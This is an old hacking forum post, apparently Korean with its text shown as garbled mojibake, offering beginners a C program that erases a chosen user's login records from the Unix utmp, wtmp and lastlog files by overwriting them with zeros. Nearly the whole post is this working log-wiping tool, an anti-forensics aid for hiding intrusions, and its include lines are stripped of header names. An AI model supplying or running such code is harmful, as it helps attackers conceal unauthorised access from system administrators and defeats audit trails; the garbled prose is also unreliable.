Hacking °ü·Ã °Ô½ÃÆÇ

2000/08/06(20:35) from 203.254.154.69
ÀÛ¼ºÀÚ : °­ÁÙ±â (jkkang65@hanmail.net) Á¶È¸¼ö : 3094 , ÁÙ¼ö : 100
Log ÆÄÀÏ Áö¿ì±â
 [Ãʺ¸]LOG ÆÄÀÏ Áö¿ì±â
--------------------------------------------------------------------------------


LOG ÆÄÀÏ Áö¿ì±â

/etc/utmp, /usr/adm/wtmp¿Í /usr/adm/lastlog ÆÄÀÏÀ» º¯°æÇÕ´Ï´Ù. À̰͵éÀº
ÅؽºÆ® ÆÄÀÏÀÌ  ¾Æ´Ï¶ó¼­ vi·Î ÆíÁýÇÒ ¼ö ¾ø½À´Ï´Ù. Ưº°ÇÑ ¸ñÀûÀ» Áö´Ñ ÇÁ·Î±×·¥À»
ÀÛ¼ºÇØ¾ß ÇÏÁÒ.

¼¼ ÇÔ¼öµéÀÌ ´ë·« ÇÏ´Â ÀÏÀº °°½À´Ï´Ù. wtmp¿Í utmp,lastlog¿¡¼­ »ç¿ëÀÚÀÇ À̸§À»
ã°í ±× À§Ä¡¿¡ bzeroÇÔ¼ö¸¦ ÀÌ¿ëÇؼ­ 0À¸·Î ä¿ö³Ö´Â ÀÏÀ» ÇÕ´Ï´Ù.

  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define WTMP_NAME "/usr/adm/wtmp"
  #define UTMP_NAME "/etc/utmp"
  #define LASTLOG_NAME "/usr/adm/lastlog"

  int f;

  void kill_utmp(char *who)
  {

/* Ư¼öÇÑ ±¸Á¶Ã¼¸¦ ÀÌ¿ëÇØ¾ß ÇÕ´Ï´Ù.*/

  struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

/* »ç¿ëÀÚ À̸§À» ã¾Æ¾ß°ÚÁÒ. */

  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof( utmp_ent ));

/* ã¾ÒÀ¸¸é µÇµ¹¾Æ°¡¼­ µ¤¾î¾º¿ó´Ï´Ù.*/

  lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  write (f, &utmp_ent, sizeof (utmp_ent));
  }
  close(f);
  }
  }

  void kill_wtmp(char *who)
  {
  struct utmp utmp_ent;
  long pos;
  pos = 1L;
  if ((f=open(WTMP_NAME,O_RDWR))>=0) {
  while(pos != -1L) {
  lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
  if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
  pos = -1L;
  } else {
  if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  bzero((char *)&utmp_ent,sizeof(struct utmp ));
  lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
  write (f, &utmp_ent, sizeof (utmp_ent));
  pos = -1L;
  } else pos += 1L;
  }
  }
  close(f);
  }
  }

  void kill_lastlog(char *who)
  {
  struct passwd *pwd;
  struct lastlog newll;
  if ((pwd=getpwnam(who))!=NULL) {
  if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
  lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
  bzero((char *)&newll,sizeof( newll ));
  write(f, (char *)&newll, sizeof( newll ));
  close(f);
  }
  } else printf("%s: ?\n",who);
  }

  main(int argc,char *argv[])
  {
  if (argc==2) {
  kill_lastlog(argv[1]);
  kill_wtmp(argv[1]);
  kill_utmp(argv[1]);
  printf("OK!\n");
  } else
  printf("Error.\n");
  }
  

Modify Delete Post Reply Backward Forward List
Powered by Kang Jul Ki